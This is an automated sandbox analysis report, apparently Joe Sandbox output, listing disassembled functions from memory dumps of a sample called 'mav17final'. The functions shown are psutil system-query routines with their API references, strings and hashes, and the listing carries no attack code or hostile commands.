GetProcessHeap.KERNEL32 ref: 00007FF8B90770EA
HeapFree.KERNEL32 ref: 00007FF8B90770FC
CloseHandle.KERNEL32 ref: 00007FF8B9077115
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9077155
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9077165
HeapFree.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9077177
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B90771A1
HeapFree.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B90771AF
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B90771BC

Strings

SystemExtendedHandleInformation buffer too big, xrefs: 00007FF8B9076FEB
NtQuerySystemInformation, xrefs: 00007FF8B9076FBD

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$Process$Free$Handle$AllocCloseCriticalInformationQuerySectionSystem$CreateCurrentDuplicateEnterErrorLastLeaveThread
String ID: NtQuerySystemInformation$SystemExtendedHandleInformation buffer too big
API String ID: 1610506324-122811375
Opcode ID: 23bd3201bfe8e194a530111dde7cb7d9009c5d267a9dd5dcae8a74e34f207bab
Instruction ID: 3b851517d221fa1313d6a29a7267646cd8771a2b75276107d66c1e2cae98c3b0
Opcode Fuzzy Hash: 23bd3201bfe8e194a530111dde7cb7d9009c5d267a9dd5dcae8a74e34f207bab
Instruction Fuzzy Hash: 17914D31A08AC681EE549F6AE8583792BA5BF65BE5F404435CB5E437A0EF3CE446C340

Function 00007FF8B9072730 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 167memorynativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9072777
GetLastError.KERNEL32 ref: 00007FF8B9072785
GetProcessHeap.KERNEL32 ref: 00007FF8B90727DD
HeapAlloc.KERNEL32 ref: 00007FF8B90727EE
NtQueryVirtualMemory.NTDLL ref: 00007FF8B9072819
GetProcessHeap.KERNEL32 ref: 00007FF8B9072828
HeapFree.KERNEL32 ref: 00007FF8B9072836
GetProcessHeap.KERNEL32 ref: 00007FF8B9072848
HeapAlloc.KERNEL32 ref: 00007FF8B9072859
NtQueryVirtualMemory.NTDLL ref: 00007FF8B9072881
CloseHandle.KERNEL32 ref: 00007FF8B90728C8
GetProcessHeap.KERNEL32 ref: 00007FF8B9072903
HeapFree.KERNEL32 ref: 00007FF8B9072911
CloseHandle.KERNEL32 ref: 00007FF8B907291A
CloseHandle.KERNEL32 ref: 00007FF8B90729B2

Strings

NtQueryVirtualMemory bufsize is too large, xrefs: 00007FF8B90728B5
NtQueryVirtualMemory -> STATUS_ACCESS_DENIED, xrefs: 00007FF8B90728A0
automatically set for PID 0, xrefs: 00007FF8B907275F
psutil_pid_is_running -> 0, xrefs: 00007FF8B90728E1
OpenProcess, xrefs: 00007FF8B9072790
NtQueryVirtualMemory(MemoryWorkingSetInformation), xrefs: 00007FF8B90728F5

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$Process$CloseHandle$AllocFreeMemoryQueryVirtual$ErrorLastOpen
String ID: NtQueryVirtualMemory -> STATUS_ACCESS_DENIED$NtQueryVirtualMemory bufsize is too large$NtQueryVirtualMemory(MemoryWorkingSetInformation)$OpenProcess$automatically set for PID 0$psutil_pid_is_running -> 0
API String ID: 2640067250-943580704
Opcode ID: ebd61d9221d57dc638e02f8ad4ad6f0fdd8e08548c923c5a7d7a68149336ff86
Instruction ID: 7ca06a2079535b7b68da6c5cad6e820051d82dbbfbb317c4910964ce49d7f9ce
Opcode Fuzzy Hash: ebd61d9221d57dc638e02f8ad4ad6f0fdd8e08548c923c5a7d7a68149336ff86
Instruction Fuzzy Hash: 26613221A096C696FF509F2EA8542796B91BF69BF1F488435CB4E43794EE3CE447C310

Function 00007FF8B9075750 Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 184fileCOMMON

Download Yara Rule

APIs

swprintf_s.MSPDB140-MSVCRT ref: 00007FF8B90757D7
CreateFileA.KERNEL32 ref: 00007FF8B90757FF
DeviceIoControl.KERNEL32 ref: 00007FF8B9075845
GetLastError.KERNEL32 ref: 00007FF8B9075850
DeviceIoControl.KERNEL32 ref: 00007FF8B907589A
swprintf_s.MSPDB140-MSVCRT ref: 00007FF8B90758BB
CloseHandle.KERNEL32 ref: 00007FF8B907594A
GetLastError.KERNEL32 ref: 00007FF8B90759A8
fprintf.MSPDB140-MSVCRT ref: 00007FF8B90759DC
fprintf.MSPDB140-MSVCRT ref: 00007FF8B90759F9
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9075A13
GetLastError.KERNEL32 ref: 00007FF8B9075A1D
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9075A55
CloseHandle.KERNEL32 ref: 00007FF8B9075AA4

Strings

psutil/arch/windows/disk.c, xrefs: 00007FF8B90759CB, 00007FF8B9075A44
(IILLKK), xrefs: 00007FF8B90758EB
PhysicalDrive%i, xrefs: 00007FF8B90758A7
psutil-debug [%s:%d]> , xrefs: 00007FF8B90759D5, 00007FF8B9075A4E
DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i, xrefs: 00007FF8B90759EC
, xrefs: 00007FF8B9075952
\\.\PhysicalDrive%d, xrefs: 00007FF8B90757C3
DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i, xrefs: 00007FF8B9075A65

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$ErrorLast$CloseControlDeviceHandleswprintf_s$CreateFile
String ID: $(IILLKK)$DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i$DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i$PhysicalDrive%i$\\.\PhysicalDrive%d$psutil-debug [%s:%d]> $psutil/arch/windows/disk.c
API String ID: 4154591606-594890268
Opcode ID: fb760e5c1ffcda8e2c85039de333cfd78706c0c72841b6d628fcc3194f71e0ac
Instruction ID: 743e2dfe0cf32e3276c6114e0068cded8749bbf7dbfe94c1bdfbcce507a7cc92
Opcode Fuzzy Hash: fb760e5c1ffcda8e2c85039de333cfd78706c0c72841b6d628fcc3194f71e0ac
Instruction Fuzzy Hash: 32911D31A09BC682EF609F29E4546BA7BA4FBA4BE0F404536DB5D42B94DF3CE546C700

Function 00007FF8B9075AC0 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 257COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075B3F
GetLogicalDriveStringsA.KERNEL32 ref: 00007FF8B9075B88
SetErrorMode.KERNEL32 ref: 00007FF8B9075BA8
GetDriveTypeA.KERNEL32 ref: 00007FF8B9075BEC
SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

A:\, xrefs: 00007FF8B9075BC3, 00007FF8B9075DED
,readonly, xrefs: 00007FF8B9075CE6
,compressed, xrefs: 00007FF8B9075CC3
(ssssIi), xrefs: 00007FF8B9075D7A, 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode$Drive$LogicalStringsType
String ID: (ssssIi)$,compressed$,readonly$A:\
API String ID: 1858615190-2665560882
Opcode ID: 324f283dc96aaf79baf5b8741b53a9d30ac7edbd6d79a2edb2edf0179091d86f
Instruction ID: 2c11bdaa15cdd0b352e1ce1ddc2239f1319b1842adce90d1c527aee723bbc50f
Opcode Fuzzy Hash: 324f283dc96aaf79baf5b8741b53a9d30ac7edbd6d79a2edb2edf0179091d86f
Instruction Fuzzy Hash: 3EC15D31A08AC686EF249F28E8483B96BA0FF65BE4F444535DB5E46694DF3CE50AC700

Function 00007FF8B9072C20 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 163threadtimeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00007FF8B9072D07
CloseHandle.KERNEL32 ref: 00007FF8B9072D15
Thread32First.KERNEL32 ref: 00007FF8B9072D63
OpenThread.KERNEL32 ref: 00007FF8B9072DA8
GetThreadTimes.KERNEL32 ref: 00007FF8B9072DD6
CloseHandle.KERNEL32 ref: 00007FF8B9072E7B
Thread32Next.KERNEL32 ref: 00007FF8B9072E89
CloseHandle.KERNEL32 ref: 00007FF8B9072E9A

Strings

GetThreadTimes, xrefs: 00007FF8B9072EC6
forced for PID 0, xrefs: 00007FF8B9072CA5
Thread32First, xrefs: 00007FF8B9072D6D
psutil_pid_is_running -> 0, xrefs: 00007FF8B9072CBC
CreateToolhelp32Snapshot, xrefs: 00007FF8B9072CE3
kdd, xrefs: 00007FF8B9072DE8

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$ThreadThread32$FirstNextOpenTimes
String ID: CreateToolhelp32Snapshot$GetThreadTimes$Thread32First$forced for PID 0$kdd$psutil_pid_is_running -> 0
API String ID: 2004732974-1899450870
Opcode ID: 5c05b741d32a9e74ae1e37773a437aa9a54614c169c7061445edb5306e85afe8
Instruction ID: e50be29f983c82cdf48ff53bd0950bdba31d26d83b0d3e0b4a6f8212ac801b74
Opcode Fuzzy Hash: 5c05b741d32a9e74ae1e37773a437aa9a54614c169c7061445edb5306e85afe8
Instruction Fuzzy Hash: E6718431A08AC686EE51DF3DE854279A7A5FFA4BE0F444231EB5E42694EF3CE446C700

Function 00007FF8B90776F0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 132nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9077772
GetLastError.KERNEL32 ref: 00007FF8B9077780
NtQueryInformationProcess.NTDLL ref: 00007FF8B90777C8
CloseHandle.KERNEL32 ref: 00007FF8B90777E4
CloseHandle.KERNEL32 ref: 00007FF8B9077815
CloseHandle.KERNEL32 ref: 00007FF8B9077840
NtQueryInformationProcess.NTDLL ref: 00007FF8B9077865
CloseHandle.KERNEL32 ref: 00007FF8B90778C5
CloseHandle.KERNEL32 ref: 00007FF8B90778F6

Strings

requires Windows 8.1+, xrefs: 00007FF8B9077728
NtQueryInformationProcess(ProcessBasicInformation), xrefs: 00007FF8B9077804
automatically set for PID 0, xrefs: 00007FF8B907775A
NtQueryInformationProcess(ProcessCommandLineInformation), xrefs: 00007FF8B907786F
OpenProcess, xrefs: 00007FF8B907778B
NtQueryInformationProcess(ProcessBasicInformation) -> STATUS_NOT_FOUND, xrefs: 00007FF8B90777D5

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$Process$InformationQuery$ErrorLastOpen
String ID: NtQueryInformationProcess(ProcessBasicInformation)$NtQueryInformationProcess(ProcessBasicInformation) -> STATUS_NOT_FOUND$NtQueryInformationProcess(ProcessCommandLineInformation)$OpenProcess$automatically set for PID 0$requires Windows 8.1+
API String ID: 2499767732-710783819
Opcode ID: 1883265a9de43d32804f2f34731455dbb28d37745193e24d4b2dd825a0e20e50
Instruction ID: 6b9ca8fe408f072c8c99da143c07e8dd251ff3fe95e479bf6004d4777dc5e8f9
Opcode Fuzzy Hash: 1883265a9de43d32804f2f34731455dbb28d37745193e24d4b2dd825a0e20e50
Instruction Fuzzy Hash: 9A514921A08A8281FE549F2AE8542792BA1BF69BF0F544131DB5E477A4EE3CE487C351

Function 00007FF8B9075160 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 247nativeCOMMON

Download Yara Rule

APIs

fprintf.MSPDB140-MSVCRT ref: 00007FF8B90751DC
fprintf.MSPDB140-MSVCRT ref: 00007FF8B90751F4
fprintf.MSPDB140-MSVCRT ref: 00007FF8B907520C
NtQuerySystemInformation.NTDLL ref: 00007FF8B9075266
NtQuerySystemInformation.NTDLL ref: 00007FF8B90752D8
NtQuerySystemInformation.NTDLL ref: 00007FF8B907533F

Strings

NtQuerySystemInformation(SystemProcessorPerformanceInformation), xrefs: 00007FF8B9075349
NtQuerySystemInformation(SystemPerformanceInformation), xrefs: 00007FF8B9075270
GetSystemInfo() failed to retrieve CPU count, xrefs: 00007FF8B9075222
psutil/arch/windows/cpu.c, xrefs: 00007FF8B90751CB
psutil-debug [%s:%d]> , xrefs: 00007FF8B90751D5
NtQuerySystemInformation(SystemInterruptInformation), xrefs: 00007FF8B90752E2
kkkk, xrefs: 00007FF8B9075509
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 00007FF8B90751ED

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: InformationQuerySystemfprintf
String ID: GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count$NtQuerySystemInformation(SystemInterruptInformation)$NtQuerySystemInformation(SystemPerformanceInformation)$NtQuerySystemInformation(SystemProcessorPerformanceInformation)$kkkk$psutil-debug [%s:%d]> $psutil/arch/windows/cpu.c
API String ID: 4178052153-892315520
Opcode ID: a8280bf19d9845c31920fb1052be415145c37dff5d34ef6775ebd0b2bf8e894c
Instruction ID: e6bf6dbf5634cb015697f079556613ab338cce180afe44009e932de5d54295b3
Opcode Fuzzy Hash: a8280bf19d9845c31920fb1052be415145c37dff5d34ef6775ebd0b2bf8e894c
Instruction Fuzzy Hash: 6EB1C371A18A8687EF119F2DE4441B96BA0FFA5BE9B404232DB1E52760EF3CF546C300

Function 00007FF8B9076B00 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 82memorynativeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF8B9076B24
HeapAlloc.KERNEL32 ref: 00007FF8B9076B35
GetFileType.KERNEL32 ref: 00007FF8B9076B4E
SetLastError.KERNEL32 ref: 00007FF8B9076B5B
NtQueryObject.NTDLL ref: 00007FF8B9076B9A
GetProcessHeap.KERNEL32 ref: 00007FF8B9076BB7
HeapFree.KERNEL32 ref: 00007FF8B9076BC9
GetProcessHeap.KERNEL32 ref: 00007FF8B9076BD3
HeapAlloc.KERNEL32 ref: 00007FF8B9076BE4
GetProcessHeap.KERNEL32 ref: 00007FF8B9076C23
HeapFree.KERNEL32 ref: 00007FF8B9076C35

Strings

NtQuerySystemInformation, xrefs: 00007FF8B9076C03

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Heap$Process$AllocFree$ErrorFileLastObjectQueryType
String ID: NtQuerySystemInformation
API String ID: 153063055-2549949336
Opcode ID: d0fe6c8589d1fec388b321b26f75b63068b38b3295e68ecc0905a5dfb750dbf5
Instruction ID: 46945d3040edc262dea9b338e6730e381047a033dfa596495543e058ab9e94bf
Opcode Fuzzy Hash: d0fe6c8589d1fec388b321b26f75b63068b38b3295e68ecc0905a5dfb750dbf5
Instruction Fuzzy Hash: E5315A30B08B8282EE549F6AB8442392BA1FF69BE1F554435CB4E477A1EF3DE4468301

Function 00007FF8B9078620 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 181serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 00007FF8B907867B
GetLastError.KERNEL32 ref: 00007FF8B9078689
EnumServicesStatusExW.ADVAPI32 ref: 00007FF8B90786FE
GetLastError.KERNEL32 ref: 00007FF8B9078708
EnumServicesStatusExW.ADVAPI32 ref: 00007FF8B907876B
CloseServiceHandle.ADVAPI32 ref: 00007FF8B907885B
CloseServiceHandle.ADVAPI32 ref: 00007FF8B90788F5

Strings

(originated from %s), xrefs: 00007FF8B9078698
(OO), xrefs: 00007FF8B90787EF
OpenSCManager, xrefs: 00007FF8B907868F

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseEnumErrorHandleLastServiceServicesStatus$ManagerOpen
String ID: (OO)$(originated from %s)$OpenSCManager
API String ID: 2999948660-3715750162
Opcode ID: 27637bdd0ad7537abde288dd67001ff09bcbbe8bc61dc3196441b72dbecfe48b
Instruction ID: 4311231500f20129c61ca20eb56d3e4755265c05d096c4b15bbaf66235685861
Opcode Fuzzy Hash: 27637bdd0ad7537abde288dd67001ff09bcbbe8bc61dc3196441b72dbecfe48b
Instruction Fuzzy Hash: C1814D72A0DAC281EE658F29A88427A7BA0FF95BF0F444135DB5E42794DF3CE446C700

Function 00007FF8B90763A0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90760A0: GetAdaptersAddresses.IPHLPAPI ref: 00007FF8B90760C0

swprintf_s.MSPDB140-MSVCRT ref: 00007FF8B90764AE
inet_ntop.WS2_32 ref: 00007FF8B90765A5
ConvertLengthToIpv4Mask.IPHLPAPI ref: 00007FF8B90765BE
inet_ntop.WS2_32 ref: 00007FF8B90765E5
inet_ntop.WS2_32 ref: 00007FF8B9076611

Strings

(OiOOOO), xrefs: 00007FF8B907652A, 00007FF8B907667C
%.2X, xrefs: 00007FF8B907649B
%.2X-, xrefs: 00007FF8B9076480

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: inet_ntop$AdaptersAddressesConvertIpv4LengthMaskswprintf_s
String ID: %.2X$%.2X-$(OiOOOO)
API String ID: 804476567-528653562
Opcode ID: c0a452c1174e2cf7d6e79eb3bc4e276580985fca42ce442fcb64fc7de046b566
Instruction ID: 68e51c6a69104949518a9024a3731238c4cde80f78963ce025a9addc138b8f1c
Opcode Fuzzy Hash: c0a452c1174e2cf7d6e79eb3bc4e276580985fca42ce442fcb64fc7de046b566
Instruction Fuzzy Hash: EFC17C32A09BC681EE649F2AA84867A7BA0FFA5BE4F444035CB4E47754DF3CE446C701

Function 00007FF8B9072B30 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9072B78
GetLastError.KERNEL32 ref: 00007FF8B9072B86
NtSuspendProcess.NTDLL ref: 00007FF8B9072BD4
NtResumeProcess.NTDLL ref: 00007FF8B9072BDC
CloseHandle.KERNEL32 ref: 00007FF8B9072BE7

Strings

automatically set for PID 0, xrefs: 00007FF8B9072B60
OpenProcess, xrefs: 00007FF8B9072B91
NtSuspend|ResumeProcess, xrefs: 00007FF8B9072BF1

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpenResumeSuspend
String ID: NtSuspend|ResumeProcess$OpenProcess$automatically set for PID 0
API String ID: 2719000058-3759402225
Opcode ID: 3d5dde5fc1f47f0ed35c3e43225d5f904c9510dc86047000f49375528cba329b
Instruction ID: 86dcb82753e5c383a3b87ae97f2a78d5aea3bdfba23317c4ba796bf4b89a7d30
Opcode Fuzzy Hash: 3d5dde5fc1f47f0ed35c3e43225d5f904c9510dc86047000f49375528cba329b
Instruction Fuzzy Hash: 39213221B0C58781EF549F2EE8841796BA2BFA87E0F544035DB1D47795DE2CE8878710

Function 00007FF8B90CAAD8 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B90CAAF4
memset.VCRUNTIME140 ref: 00007FF8B90CAB18
RtlCaptureContext.KERNEL32 ref: 00007FF8B90CAB21
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B90CAB3B
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B90CAB7C
memset.VCRUNTIME140 ref: 00007FF8B90CABAF
IsDebuggerPresent.KERNEL32 ref: 00007FF8B90CABD0
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B90CABF1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B90CABFC

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: a7a0b375acf53c908aaa84b1677749aa5f730714d3c2174efe7977e719f92665
Instruction ID: b854335d4f62e62a4bd1b6f3fbc208c930ccfc3259429c83fe6f4483ad46b440
Opcode Fuzzy Hash: a7a0b375acf53c908aaa84b1677749aa5f730714d3c2174efe7977e719f92665
Instruction Fuzzy Hash: 02311A72609AC186EB609F68E8403ED7375FB84784F44443ADB4E47A95DF38D64ED710

Function 00007FF8B9F66254 Relevance: 13.6, APIs: 9, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF8B9F66270
memset.VCRUNTIME140 ref: 00007FF8B9F66294
RtlCaptureContext.KERNEL32 ref: 00007FF8B9F6629D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8B9F662B7
RtlVirtualUnwind.KERNEL32 ref: 00007FF8B9F662F8
memset.VCRUNTIME140 ref: 00007FF8B9F6632B
IsDebuggerPresent.KERNEL32 ref: 00007FF8B9F6634C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8B9F6636D
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8B9F66378

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: ea38b9b02c827df44fb5011cb61d735aee822b3a281d6ad786fd76dbeb1e9228
